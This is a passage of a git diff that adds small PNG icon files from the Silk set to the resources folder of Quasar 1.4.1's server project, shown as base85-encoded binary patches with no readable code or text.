zo`9|{7z!AW1VcAbgo7Wj2sAg2EU>~fa@hM0P~i6O*r}alzQTvl1dZvy1OqQv!a~g9 z&(m|nc~{`(tGm0gnqy8Y&M(IN~Q9!mjPp}n#<)1^Z6V+&w~JiB#;1}f$O@_eyLO{pqpwe zL?o5T4RuB*uiXh!Y`I)QDwP6sP>yBb`+kDl1Kga+ zK;_+~eL2@OEpkZQLjnW3KP4@@s-Qi~vS2cqklR5_0Pj^F4u_6unvhH;_cEZ)6kZ~c zfNr=_g-)mA;NPk>o6YYB1!y!H4I4$O*riN= mhQh_78DfB_w_2?SmH!XLe!dG_KsR0h0000Ibg? literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_3.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_3.png new file mode 100755 index 0000000000000000000000000000000000000000..e385b5467346b43eb436ef98bd9d4ee41d9fdb79 GIT binary patch literal 597 zcmV-b0;>IqP)tuPEh$A>RJ!n2QW;OG4eBo9Fd zsUQ)YODG>7!sWMLFt|LmbWIYBkV1fzA#nCs$TwfXH{e9dg;^3M*mh%LQ)Cox37-%o zA`0-(^BElFY+!2uAzNZvP3EJe%Kd(M`n$s6NbZ~!#Te$6bi+~VgbwLQV|dm zi3HfTt{Zgq^L^aiziI`L- zHPjiEY`YUQndf#Uznt%%8?*KPv+E6{a zmao^AWhsS}yNjSt^OMuMs|ngmr_(T*Oh|1%Mu2nG2ZO;ll}bS-lZkjhoyojpG6~&o zcZ>w}*gK$Tx7+8aq~4dX$*UcXbgFbNF+Y)(tt)yc6D_{WLbu$X|U)87#IOtLseCN zAB)8zG);1!h?Ep(ld#SvQ@z=p!6mC!s|W^zpb6spR>)?vR!>ilSS%KK5n42G&-tG@ zd@p{1tW}_B+e$?(KY96h=@A#PLC@nRw|X~TTF;^+e#1!o0*-bb$4q`Yw6Hw)aCqX# zA-)2QRo?lfo4dQ?GymzwJDfW)2urju7`*~ZFfe@PB1^yN63nyxnbL08R+QvlXcr`0 zJ$Z{axpV0SjvYSBLZ8@t=c&cT#Z8~jhd>~(O9Md=AgdMRH?o*YkMnO+ug9^r^_7=; zCMPE`Ffg#5%jM+N)z$OSXjJOx=zt_iTy?+SkBa<LMIcKp14eyUq)Kd1$B(lLIj2IeBs$f@-Hvy&}y1Tc%uLS002ov JPDHLkV1o5RML+-m literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/medal_silver_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..06cab467904647ac915ed1d80286709b793d616b GIT binary patch literal 714 zcmV;*0yX`KP)3-Bct`_@l$aK(2lbLuE;;m2Z0V_pBK-p-7ZLPg4qBv$^pvA|$i<6S zgP_nvvC$e3TM-XI4=sYRG{i*7kIioO$M|O5P1BY-@OU$`?|tuk-2$LiUKA+FAQmM43>-u6ko&In@1EQJ{VXr_*un z6NyBW*kq1~NI@yVL{v6~>TY#m9$2^AMIaCWF-RS0p-vdeUGzO)9_85NAF7^R(V&vUz{E7IxP^b z=HN-Yy?gY9?`=HAnVCyaw%5U)EWy9?43qJ3nKOQK#0A)({uhPP&g>5{ks389(J5fz z*8cqOoq}w$Ny(k_>gML=o}wu5`~3$rV2pu>!cafI04Pbn&G4J7RjUgvc9};#m&;uv zCM(HgG8zm9|GiF^MdRgTocOke)8q6{NL94!Ccf8X%h34p06?s4Hk%}n42hZ|3kh+l wr6$?N+@I2}QvbRjTP#kMe^SkKmx=vV@a|w4d?1G z{A&|1yzGF~TZ8KHTl_r*T3@s<=A;pUk6t|eFbv0%74?%+OlCdki0e@06yy3x1%Foo zZA8IP3kLWJ+!ohD8&$%-Xu;s38IP9-L1$fP3CnTSerf$50rgDty6Lr^*!3d)Z5bO| z-!b-f1e)3AZ8+nCGAzU8!LrRAB^VQ3$5hYdKYA07xLVs{S`MaSy~ut|Ll;xQn;C~< zTE=EZ#ZWme+JuKV0b`<5t|FFt=DRug$%=#6R&beFSRGVu!=XktGv>d{p(*$PrItbs zC%{@V&UayoG-zyPh^uwrJq0zft&6HKksgOU)PPF&4Gy0B97SX;1Yuth&KvTM@H8_D zI|j&k17#5C^Q5`mXHM}n5yer~ z1v@0vf}XSMShQ`!KZ;`Qm@#H#oe^ U8%xtYa{vGU07*qoM6N<$f()ing#Z8m literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_add.png new file mode 100755 index 0000000000000000000000000000000000000000..588fa9d0783d81acbe040f068e8aae43809ba3ed GIT binary patch literal 784 zcmV+r1MmEaP);YQ5ff;UfFtdJ+!s8dg;Nft@+ebwU*P=rQI}aqD!2(VVNRw7ex>S5eQ5K(*jaK z1G#95tuVE@GHJzFl8GEO@ zUBT+8B4M3rhjLVcx?nZ?zX%$}<%!!fZ3w&@gn7z<+CUX5eHH9~A|RF%mT3z1!L{Oq z|IGmOPc#sC%fWLOv;Rs^|45oJPa6<;>&5-oPB<2=s2UPrDBcgvgbLSPToiWavv(v= zj*1heDLwoIte#LpIWB>H!Gg{OGwv>R!WZ{I8W!P-{lfYm1oDx(_4a42#I6^spO^4u zYXiNr-B66xCBbVRNWwx~>df8TR)S%&`H(Ck`f8kPVQN)Jl?>PvH6s3T6{@HV-ZeMG zAt6;pe%D3h*>d(U1cphiNJcER#dHk#-m-((7Bk8eEFYF6!ND4;jM#_As2#qAY)giM zA)uBFv1U9Z4eDL)VrsoJZ-SiIR*lOruX!HVAxt z=$~rQzv6<>e-r1eSr8JEbYUv|b2j|Gd@qcYAo&%QKK@~8xOOYN7C@P&1cVS-=8W&8 z)5AHI%$l^a{Tof8Yfyza3|JN9YS3kFh^Nruf!#Pv>X09#!80qvudQToI zax_Pv4HYrUbf;&M*Zdlyq8?7_RmbIN@>OSd8gKHrfy5_j`{&+3^FIJn1i+n#6MyFb O00001KIqEP)qMo*Mh*; zd8}=$qVq*NBx99ZaL^2)i;wdy8SB4|pz_rwh=wb^H~8+;vno7N8diH65LymE?h(Nf z?1o^7PdOv2^&Hsx^e9?D<*TU>kx2Cu_h`6l!AN2YXlDu*JA_-XlSesY;^R2V9i>Rq zo|4c4R3z0zEe6SgIu}~$Ss%=(AttfqZV~zd-KcPuK_yFsJ9{676QeQ2j)l1J08S{A zVi=MUfq@kC&(-J;Jw|aq2hFb<(KgpiU=!`uRGo~MB}cG2ScAxn1L3YhOy(clY)y|* zFeIab-Bb$dNYqnxbX?=CehVhOJaY~lnQ>SlFqA0(HwKW!}E}Fo%mEf!{6?`Hxd@KqPe-D2Bz6fHeeuNe%wsQ7YxymHtCsikX7kp6pGprGeQG`X(cypEhrPES70s86nE z=+h39P4A`Nz3e!lFE?TR12-O@%Ayg--Gz~qs0~LFllSw8ayxPkWg9O{lV6p*-Fc6* k_mmRH5EYwBM8Q=52dt34J8}-iLjV8(07*qoM6N<$f?4fv82|tP literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_dollar.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_dollar.png new file mode 100755 index 0000000000000000000000000000000000000000..59af163824c44be62dfbb06df9e71769563a33e1 GIT binary patch literal 630 zcmV-+0*U>JP)!DK;9Y=n` ztyZT|d*HtN4z^AtY@ehNsx1Av5@058(+4Yyzw@m$wtszqQ04yGbJhSW-PK+Sn9kpy z6c5&sKH5aCB||O zo)n!;Re(Lq>NlD(Y>~Mm^&rNjF{+zqQYLCFW%O8ObHbFoO{oHG8H;vpFN|zULKkF} znE;czLyw9^s&5nLicTfoh(h`)V!g47a4i6T`6XNhM{_uCpf3fOH)+aUm{Pd%0$HCQ zD`b=e=_a}-!2e?bhS(t8*Bx}jxG|(Bs-8zXGwpDVhfpKF$YwKX2WZW0hO6n{GpNkbaQ6*W`Eo;3}_R5=XK< z0YsI0n43^|QWPahLjCo*dA`zf@Kp|7fal9I=-yn{U+4i*ot*tN)m|#kBeuVS2r=(P z$&2x{rKt;Dqx=3$7Mb}P++9YHsIwW%;gx^mfN*2lS#X?@Zq5b--LhKUKO1nouBZGU QkpKVy07*qoM6N<$f-OlOxc~qF literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_euro.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_euro.png new file mode 100755 index 0000000000000000000000000000000000000000..b322ba9296ace62bce4768154d1d451b9df80066 GIT binary patch literal 605 zcmV-j0;2tiP)sEfkJ^DF^$1U^B4aT>wGyd_KRG3vZ26WF5%bR^MyEuu}!xvI7 zQ4}Uoe0wYvMUju7*jEvjh~~QmnJ%%90SQCmB9*gJSni~-bU}(xuT=+5g+%PHky=$b ztAtNLSnMEvw{i+rv0BowTGVPSi~WZvat{y|&Z~_L5?u;UhnclI<{p)vqxEUT<*BQz zvfi)z!DrXF*rA9oQM7h$yYT+pnbu*xRfYK$;(Lka*052{Pob5$<(3yn4BoU+h_@+x zjWTEN9@;zO2(O!)yifUEJ2BIPhREJWCnrPQoj|d77oF@Qw9+?S2`ddhQ_U#es#KOk rI$x!XulBQYygdf5{#9;h@W1*4h?>zEyRGj_00000NkvXXu0mjfeSH?O literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_pound.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/money_pound.png new file mode 100755 index 0000000000000000000000000000000000000000..b71136463797cbd9bbee7601fd27ee7f4c6bff02 GIT binary patch literal 565 zcmV-50?Pe~P)~-Etk+scx`tkipse7HYewM-t*f6pyf05Vqlz=?Cx-0Cb?Vi*;@osiZSU+ z^MlKA`@6uHPjYa_ijgecBXjczsZ>Mi@*n=3>DY{yjc@Ll<4u5-uIkC+1B5~qe(Bm+ z;PP}WTC5-BG(>Ycrr0cP2>e(Vov||w@?{NPQqcRC1e-Pfm5JGwcv|N(6|e~fJ(I-# zDloE^U=A;IM9j24k1+6jQtwQ(^~)4tx?RN8H5RtL3JiJUu1H?PK~{sA>T3EHzIy}* zmsSzKc)+h{$!Hqb5*0IDhghg#C#B+dtZYJMtdcTDmQ(ayfK6N@D61f+)`{O^TU5>F zD|q=51{Xg7Sk*m2oNVGRwv#G4M?*~0FL87wP4|u}*gRCwJ{%hOFyI^y+h_dwx=&C* zPO9MKJFG`;;0{tS0gCx8iaCD)9m71|a0S+0Nv4YZV;!NihP@*VyRrsOx zkFE102kRC~m#I!bw)-p>AZg!a<2=Q|qTJlF+|shb(z?>huGZGR-p;YX!LiZ7x!K9J z)y1vN&Ar3Tx6j*ef^WbifBOzwmkEx(OT7aZ`v%PO3tk!s6!)Ft6Fe_4Xi8w%%+ScW zkx7dZBNm6nuZj+z8J4s%E@OFG!H%5dMM-(fa|$*CQC{)tf|B(`)%(h`mt`c)PfVGg zl(j59dwE9o%8Z<4**Pn-iZ>LLY$_<-R8+mOs(M>x&93s=4OR8qYa2G#H}0xy+1}i; zyP@SsL+h@_wtdZQ`&!x#Hn;C>>Db@idAPM_S9j0huHJp!{k!}6_xAN4=$){)f5M60 zNe3oOIW%edp{eE^CUwA&GA{}83uX`y5KvGsa0mz}sIPB81^xZ~^VhH6w}1ZuAUJ>i zJ`g;A`5pv5-+Q^g0BA(Fr;B5V#O36K11v>x%X}1O9ltq&Rp-DOaZUau5xliK7J6AQ z|Ggn8A;M(xaF$5(Rtbwcb8kFgTI05Flhr*Vk7q@dzuIRTDBVtxmtEBTV5P;4oo+`f zA|j<6SeGnSF+J3C)wQ)%pi4#OtE+%bYIOGYjsS7)V$~H5J7%ninlN(}gS@`e#09-( d_RJF*82Wb#GJR7LP5?TK!PC{xWt~$(69DAa@D2a~ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor.png new file mode 100755 index 0000000000000000000000000000000000000000..d040bd022329544e27841426895700bd4bd3aadd GIT binary patch literal 612 zcmV-q0-ODbP) zlf7$HK@h-y`|e%TykI^w7?PY_EJaAPQ54c>8q53x3fJksAZa2BCYUM*sVua!l3=50 z1dSH9NARmNLGvZv<-M8Rv3QsB1}{LI`;8@!q4VZC%_V z($)|W@MebM6lV#a& zfU34!!f@p@U7a0N`V)>GiP;fDG$0YU$1qc=n0xaYRSAaA#PbPt+vx8D8 zB67J83x@zGq~M&(A%HnYBlWn*@^>KYPa(@PqEZCFm(QR6T7^0eIoK=XlUq$sy&MG<48XIWqWo>Z&VtMl{o y&kv0NU}|dWorsL?pTgE;zOB`27yg*S|Hv=)vtlNu1or3v0000+n4X>%=N!&CthHEc zF~($l?$lameM?J=iU3$^sjRGKePaVeATvM&0YoIbMuf7mQig_J0gwf(CzITLG|K;2 z*R4~8VfY7NjM)we)v;p~7v>SGD54-gLRt&jIJ5;TF#i4%;)Eaw0Pp~`))|?AQi@dC zkXTQX3M?XEtPmPUU@~V!*sVZojoZe!2O*<7>0Ph2f+N?>_4mENBq5j zyl8~Z8z-?=h(@CtPipYzMg zwbpN{s;XLzF??7Uo+zoYb@jCkRF}tjJN1(BukV<+eY{BO?*6_zZghIaxeDw_Eu=Em*er{lpj8V(U3^2@blLSQB_P+ zZ7TrxFFs-LOCK;$unQ0bK|?GSqp9gK#u!8d5#hmLlBvZpCKpF&zx0&O*VifV^8wO( zQt0UD_^7q6&+Wi@J&9NIgEJ=@i65=wTVjH-&m(-FP452&``PI`m7TzC;2^LG^o>7W aZ2t|Q2x{GhZjL7a0000&@yin2vZsda%QRL~-#MTLt9f`nYOZPPyx zh@eoS36T*}D;K6x+W3Rik;ZxN{x~g0r!j^4axdp{IrnqUx#wObB1}w7h;t6-9M)Q_ zwHRXxws>l-3$~-9Lj?fVTI%Z?S;=HT1o8t!5I{riG>aY7h|0C)ge>wKDkQi^QO zkY34=4J{&ItPmMTX!1THY|TJxjoZvmDU?#IWerY3D&sMNz{hifYyh0N?ErCkgerop zN0vxC;^igyzK5ssF~scvpr{0;R2~9|Qe;Dm@+7|xxW7w?q6p9T0GOGc`ezsXz~2ri zi3L2legtcUSS-fE{5&TAx5r5r9xSl2ptYv(x&)l{Wy1TnS zYORkJ|GVG`Z6o<;=+J= Z{2PKMYxPLJkEH+r002ovPDHLkV1mLrGgANn literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_edit.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_edit.png new file mode 100755 index 0000000000000000000000000000000000000000..f772c562f4f5534cd81918f26d60ee96bb039511 GIT binary patch literal 769 zcmV+c1OEJpP)_KmXiXIZwA}WMjL=;76t2RNaR?)&96eLtwL_vXz z78QgPQTDKhZ3bK9gB*tvb)-_Onfbo&-tV@UoIZ)7!@Zn);ojdl|9kEcT5J0H`n2OX zIF5r-3Z)cM%CvV++qTobv9VEj0hCgdl$0_tH3eEjYJk>gKx>^|qc!>Yd31E#2OtfY zn4ILug)aWb&NQ#avaH_#Ddn$_P#P*DC*UVEC!5R+FG*WtO9xwl((t-FjCM4pX#!vX z*tVTY6A(fWPfA87lEh7g)*zL}k`AU!oza?^8Q8XsGo7Ch2qE|umpIxaFWZOL>%nj| z<#e-WWe1*tK{n++rRU<6eQAJpQV8LKBrJtxJ7fp^RA)V7OJS6(*?S3AEN3E8L+`_@ zr_%sj5`+*b2%v>vp7ES*wJ~M|*YV}Ud;G#8cUCbug=Il6r1Tgb1AypIWX6jxDjZ<< zT8q5OZI~nN_ydAyxR>ugB-)xYMxJMYP%uHTY6r>T%NTx% zFQ=Rg8Rd3l9>-g*_fG@Pb#^}4==x;^x$zf~>P=#eJ;K>N&>iP-po?JYfne`~Cth;Lwt9oYdf00000NkvXXu0mjf%FSMP literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_error.png new file mode 100755 index 0000000000000000000000000000000000000000..270c5018d2ea1f310c576c0774264dbafd26abf7 GIT binary patch literal 714 zcmV;*0yX`KP)R8*8RG4UJ#ACTJE;QGiL{wIb8 zVz{om3-CNIcO}%-H&7A@Q(s+7VL_0L5|n398nnQ>*#u$)$8i7%04Sxhnt)|lq%$5r zQW?^YMg%-9xSqlBvS&otYoL_E?D$z0mSyoP?P0{Byf{QKXcI7k*LnDThkt>8-d=#QvQ%F#iCM*MenPSqKoa6~~LFXl;$r7J8jC_^SoibqUx30KP3R z?RoLumM=86bWv8*L382}btT={L3=+S913#h%1N{qLZJ|=$t0x(4u#2aN~>b%&1W>7 zy2wEIB?0N#2e>yqJ=L8zWtEpjgqgQyp`omjaU@c}zAIyzddlv-^&)Jk;g z6XgwOFzFe@Y}0wJ9pkQ0SiH!=W9JWlpLuW-hzIfkj^muJt*s^2b6F-qprP*A3b92OyEw$zL wk3ZfA0C+ppxhC2~#0X+cUW#8a1`(P214m|cKIc`U82|tP07*qoM6N<$f@x1W;s5{u literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_go.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/monitor_go.png new file mode 100755 index 0000000000000000000000000000000000000000..8af3eda9f2db79939652cb5f81e045dee47c5395 GIT binary patch literal 696 zcmV;p0!RIcP)a@nqhkOUP*ZVFoTSV`-U zLLou1m(eD{B1k^%wpy{zu%b|qpFOLkE@6vB7_hKA>h3) zK zP*z$(A`uapd<~T~K*0h<7K|}@2%yHW5(nm_ooRO#6M5uc3)WhqL_g+P!#~T49sU+7f9v}oIl}d4E^gJpKD<11TwUzZW)Es3gx6I}K78>1|ykb?Q zx3~AEbM8dZE2|va{&3I9rgH=pf&>I*X5ky@vT8;q`Wc-X)SS0z^Y{9Sqr1Di<9+(k zt<(E2F!}2vPCQ;5E;yp7gz9Z|3{5=c<>#T0EI!!N(^KV~o2{?k$LP--K6rL+--VYz zP~peI6qV&Qy!|@N@TZ|U>uFgBh~xNhCX=DH^%VE-b?{*1239ONZ^`axuL*-KFD&CT=FOSIlydMCoq{ e+1V~F-1Q&8>xzO)Eb}Y?0000 zQ{77xQ565p?E1A+>b7crZ9b%xJqY0!SXit{Ndyr+MD!T!OZ3toQ0zksMIZ)+LJ!eH zYC=Ys2<1aiks0bkf_v7qT}>+0_8&fJgg%&zNNFVW%tIA><=`JLaHd#=PehiQR8 zfHTHmf>LUM5R&z|FbpH>?Z}w9vAVhz(O3*HNz==Ux#f5^HoenXit+KW-2~B%4czE^ zkAJay-d5?LV`IV$r2z*$aG;TkgW&G+zOjUUQr!bd`@gs zgaT1Hx`s&e2(A^C9u}{KbZtebPGN0%0%M^z%qC9m zB$__cvN*EzKVXy|k5}oR3&CO5{~^I0j*3I+9dD5T}ulDl!VvE!ai! zgF;tJnWip?$_)9Adhykcs=98JszFdgM>ITx=ie`2HvR)TU$qEqc3VaPp~La;$9G|^ z{bprFIby-raMpH#B%{z1>)0R%kUH`R9d&uQxW5vbrdb3s(k)2alQ=Xqbf1$=PitXc zlcTs^j;t(^<;}(q$%;#z=F|m)!N{5_xKA&$|^xFLAEzI1^&jSMkZGW}!zxEq#$)AzlP&sV?0000gjy?kL>n$m`}v28ZSU`sZIN*4v83u!ijAR!PX-H4mwUvOQ7QUw2ie;_L< zh_=}XB2-e{*ev2l(xkyunxsiy@;=6UCnhF#p_e!B-WkrEd(O-#LI@lm9}C;I!NamF zIZV?Wdy_{#!MR81ZSzJ2}j z&s)&QQlCKK!%L^rVrAtf>Wv24ZJi$0XA}$H;rIJdE}!CB_&P!hA?)wJ#>`9r)#@3F z#R9U~>{wsHP9}43OV@Sf=;-KbI2;b7QYkc>O#&8?$z&RzK4zWCWYX<&xs-CbjKf10 z^7;G|rGI@K%gf7m*4NixBsVuFp6~9SRVtOK+1Xh{qfzjtYPE_|sbr0hkH6a5+KQ3# znmX*w?RMXupy2xcgVYp1mP8_fwY4?GVlixNY~bSJqD^s+F$8rxh6#K=AE>LWGY4;E z-rnAZ*XxxvTT)fkqiI^2=O-s8`iO}*^z<}$c9J!V&f*6ty88=|+-So6 STiROy0000LLgQ-DDLPW}%f1vx-$*I7)nw zfcOL-13nN51fSzuPw%;K2WgWo(hFy1bAI3VopUb-0Nis+mgRTP0@LZVJ|2(TBuVN& z+EA%fUX@BES3aM=&1SO_aeA}o`uduja5${`{r8$SgJ{Xf~Tbl0moIh539=3k7k0hr@BL z31l*v6h>rm(PgvQz-%_7bK^2GKBhxqVhC2NHLeLH5{diea;bsnvREvrBMKvce}u`E zg2iIl7>&lanm|$%@6in#7|0w)qY)KsG#Vg^A_#&|Ch+0@&2hPl3mJES?)xCRvYE+s z-4Xcgu}8<%1@onPeh#Z-k^REHGlaqtS+3C&f+gG|YbRG-_ zK;8rdgF)bV{)@q2&^;-DALaP?p!n(Ir6dUQ6>oa5+wDEF=^rMO>F8guCh$M?8yO%b UQwmBS=l}o!07*qoM6N<$g0ICJX#fBK literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/mouse_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/mouse_add.png new file mode 100755 index 0000000000000000000000000000000000000000..65bcab520632ccbd540ded7e01c30af31671dffc GIT binary patch literal 729 zcmV;~0w(>5P) zlih1laTv!H#vr0UAo>ToDcDs6-9&T|1YL9y!5A}ay|RSVC5g70p24(@bj2Xpi0wir zjT4pbI4^u*zOW1N6*L835E%?N=kZ;ie$S7NNp%tX!NZSpc)s87=Xp3s1OTFwmdE3{ zb|RtQ?;mx!TxynO%l~XhBob$0v6wy_4(|nnL6#(48A=_qlVh{l__ejQzs2!*{1g%I z6$%A7K0bzWxeTFD2pkT_w$tfcBB|L_Dg{2D4~$0R#-GWf(P(rxm&*a3e!maGNhXtE zwOV;X049^^fMJ+vwOV~z5Q<5|R3s89WV2c5bUM)M^{4^X;o%|hJP)N(3Cw0Q==J(> zrBXSHT0|C;`kc?_DKZKW8=KqhHXuzporYSiMol@61D#H%5U53DQLhAK0UHT2nG6sz zC>D#*Xf$Y{AvcLeE)(&Q4vk45s8lM~z`*Tx@3&g5 zfe=%g%_dDmV-(OQ zrUbsmmLXi?VA1&)?krw_OHa-kM4^=x5AFcdhlQ9b%sjzd@3GM(U=#1?o(wzpVR7dH z8Z<=d8RaU!umEkZmkO%YDlHrfjn>!K;pWRR_#XQR!{v&*S@_3q}?we7-7i00000 LNkvXXu0mjf((yoF literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/mouse_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/mouse_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..72865668cfe796ac531ec2d40a95871aa06da700 GIT binary patch literal 741 zcmV zlTT>UVHn4Mq8SlE-6H5PsAGrDb%@qF1Uv7t%Sd7oEeZe3khvOj&=4ZM>`>dmL0iLN z5dK*n{KGbFfla3{({PH|VmX~Zb^iPIJ}>;ns1C6Q9)9rhe!t((^YH!z0K!Q-5D4_1 zNVvAPru6xIMyJzR{O5&4B5^JrkDH^>=tejkcCw_K$5OAmSS>9riF0#ve~Y)aw$3o| zMlP4b!NCEF#Udh+2;6SBXJuvO6-&)*Z*LS9JjKyNB*=!b6-EJ3BC6h@k zE-s3U09LDYZ)$34#Ar00m4q^O;lbwSW-gP-pw()j)9G*n>izwFh@yx>p#YoB2D8~b zsMG0`q$Ok-Ysb#c4o4;dVbkSivk9U}rBbL?tK8J<^2w;5 z4EcN>^?IE*8PfbFlgV{tu)e+?B18$7Qrhh{YPA}lo0duVL`TLf5C((6cVyuA`*#ly z508YD(r7ezA{mo_zFCJA{=qBwbXx(}-P1ojeezLm5L{l~r8IJvgi>O;T;_&f-%cQ^ zxqxoBIG0HFN@gvCa<5!Oru1lbN9*MeO15tW&QK%xg7!V`F0l zw(0j8jb>1-R?C6|m&U`YtF3~*2fKz-NULP<^()%$KKZl%{sTh;mq%IRcfuwj64Uu_ XBDfTk2IT+r00000NkvXXu0mjfR~lRR literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/mouse_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/mouse_error.png new file mode 100755 index 0000000000000000000000000000000000000000..bcc156238bc7063b216201aac6c09da7cddcb4cc GIT binary patch literal 790 zcmV+x1L^#UP) zlif>`VHn00M2PU8D2hIa(oQ0R2>*l*in0Si`Z}-(-B`|6$~H+f%Rxz$BlJX9Hqcz! zs=ZsfEi2n6?#tdy)|#7cu08v7SI_gthLlG>aPywr*LD5w3*IUKRXZJy;~IA)oS&bs z)$8?AtyUY^cEROx)j1pv#p2@Pg2iId(xg*cQtPMb(`YnlwOakZ*y(icqT+>6D1=lh zg-9dMB~)-7<0+n-Tc^eo!*3 z1byI5w-EP^H^nu9Qn8g-<~&?zCJy3wqjr%8sb<7EL{-NB9qA^B3=WQ z^&QAXUx4_U!71yJ;l)S<-oUCl>9RaLQ70I9#iHSKZ!hvjqkz9blaq-xxL;qvIxQ~q zqYY`#`M=}6L{Aw2Z+L`H_Z#jA27F6PjqgV59O>>7N@IocpGU!S{m4Zg3+ZX^MS4Pm z@FjukAV0O>x{v%a+&g?oxFgWqTw}j>byzDFbEEBTaqhwCB8mBtThk*Or5!}ax6Dfv zQVy(`NASL5|M<2)6UB>}l*fosew5H8LX*fx*+KH5^8leDqL=I=dhuTJPPE7P2dw8J UZ5DxR`v3p{07*qoM6N<$f`-p)3;+NC literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/music.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/music.png new file mode 100755 index 0000000000000000000000000000000000000000..1309253cc4a6c9984d1b5652f30b924cf3d7aa66 GIT binary patch literal 332 zcmV-S0ki&zP)t&-Wcq1##{W_&kwkK0|Qn9g3m|iXbTO7=kf-I2?`{io@YJ#}GJ_8#;_}D0#No zMKJ^x$1_(Ee-3;ZOH3dLo=l7&!~_;a$xIQHn7|?k8H*ys1cGA8c%}%3z%fPmb(Cm2 zDQ)nE9U6X|C6Z1{MPBhkIIONT)+yk)MXn>yX?3|#U=`(#hcth`b+O4JGkP?6NzBRd zTBAq~p+|?$)b1FBCAxI^s`Q&?xG-TvjwiZ|D(xoCa_6ybBW+RZ4Z|nGv7BAQGqZTVBEa`0000Q51$RwCw?WgWe;0fi^vY%UagXRhyB(O=1wVPFJlYqlK$kNFcaSBrLFKHcpU( zVj5rP+%se7wuRup#~J3_|C@8?jsx6(aN8gV+_?~^wID=7QAmWo&=P9GzK~Bj7P?xU z4^LybJ-~;P$nL)ri2Lx-f?f?uyKtX3G(76UWeycgm{0H$eX9nWr+ASHH8>r~vom;o zFz$}vYpDI9TZYLgxm?Z}9nS!RQHI8Y*b~3AE}I>k|Ynq_|_kL0z^} zg`YWG?`i*VRiHt=)+fle*{;CjiLD9r5bPAPFRr!h8&+rODTKm>mjte|vSwTU#7zr+ Y0SIdSJYsEaB>(^b07*qoM6N<$g6XKB5dZ)H literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper.png new file mode 100755 index 0000000000000000000000000000000000000000..6a2ecce1b85eaa9084b427ee2c5226e2296eaeb8 GIT binary patch literal 658 zcmV;D0&V??P)oVs((xWgD$)EF}_d~6|E9cYZTvaqk~9`i&BW97*P>v z@lDk@Xl;b%^t%HQ(pa0tz@5kM+;h(T<_N&ip(~wEOB0DiJ{F5{;c!^;_xs1dg=jRo z3WY*KAQ0euKA+@K0;yC=8jr^rydICoSglqd_{QV$a4whY=|O=zI1-7hhr=Og4T=Ck z5O8*O_S@lbByBd^lf44TWKv2W^LH=<&(F_6aj;k{L?;9b7K?>5nM{(sFqO3)3}ZrBV@HFj%2boa`NCnylwer*m5<6vU%rtuL2L)a!Nd zJP*qIOD>n6?i;$@!fv-8Tdme9+l?I|%bm;R7`!3)<-bP$-VIIGvB6*%vHYw+%Da)t sWG@c=a1S2nbh=||dPK1BKbT#A0Qk`HN6lbD;Q#;t07*qoM6N<$f^gU==>Px# literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/newspaper_add.png new file mode 100755 index 0000000000000000000000000000000000000000..8140e8c1013bc74ac369f84e9dd51f77bb4b84e0 GIT binary patch literal 750 zcmV5IqDdRzdYtFTr{V1TRy&qUdlr6t!*Q zHvj+G^)jT`Lj*H)Do#WSbxu;}#bFcLx8FIWtr%kmew=&HJ)iIS{=WB&02n!{B9VwH z7z|2&zh78dS{nWT`*Gle&*$qdE-oq_k4KoBn;SirKsX#$1p)yE@7C*ebh}*;yytSc z1c$?M@<@RJyu7@;TdUPT&!85dC<^R$`!Ac#7P4BcCk_<|g+eOYEDvA?&d<+-+CjVB z=1vG!EEbDkGMPpXg(MY!sGxH7Vo{$XdszP;zzTENlyx% zk9h>;Pta<$eL)azZ~;0^_Ikbj?d@%l2%JtQ@14OUj@8vwl*?sg3nhFA$PC^i`0_AB zf~AFph5bsUf?}}6s97Lm0lu9MIB38V#JiwE8cW_^Qy?g8R#WzC%N?A##)7aVB z!RF>B3WWl9z>?49am5~0vQ7WIV0H6$&Vq*PnkfE3((CvJv%$wPb3oj*Rj+)oenaY3}jix z?a51sZrE^e1k+|F@b?bP%*>2UPfs^k&+HenzT@#YD6HPq7iWKJrAN?6;~dtkjQ{Ik 